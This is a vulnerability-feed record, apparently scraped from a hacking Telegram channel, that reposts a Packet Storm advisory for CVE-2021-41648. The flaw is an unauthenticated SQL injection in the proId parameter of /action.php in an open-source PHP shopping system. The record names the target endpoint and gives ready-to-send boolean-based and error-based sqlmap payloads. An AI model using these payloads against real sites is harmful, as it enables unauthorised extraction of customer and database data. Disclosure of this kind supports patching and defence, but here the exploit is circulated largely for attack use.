{"uuid": "5b7fbcf9-7fae-42ad-be57-7968b7803d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41648", "type": "seen", "source": "https://t.me/hacking_Attack/32341", "content": "Exploit Collector\nPuneethReddyHC Online Shopping System Advanced 1.0 SQL Injection\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nPuneethReddyHC Online Shopping System Advanced version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 62b24ed257ed9ae67a141155ade51b4e\n\nDownload\n# CVE-2021-41648\n\nCVE-2021-41648 SQL Injection in online-shopping-system\n\nThe online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks. \nThe proId parameter on the /action.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database. \n\n## Link To Application\n[online-shopping-system](https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system)\n\n## Affected Components & Parameter\nURL: **/action.php** \nPARAMETER: **proId**\n\n## Poc's\n\n### SQLMAP PAYLOADS\n### proId parameter on the /action.php page\nParameter: proId (POST)\nType: boolean-based blind\nTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)\nPayload: `proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1`\n\nType: error-based\nTitle: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\nPayload: `proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1`\n\nType: time-based blind\n### If the POC Image is unclear, please click on the GIF which will load in a better resolution.\n\n![ POC - proId ](https://github.com/MobiusBinary/F2/blob/main/online-shopping-system.gif) \n\n## Discovered by\nJason Colyvas \n[MOBIUSBINARY](https://mobiusbinary.com) \nSeptember 21st, 2021\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:08.961451Z"}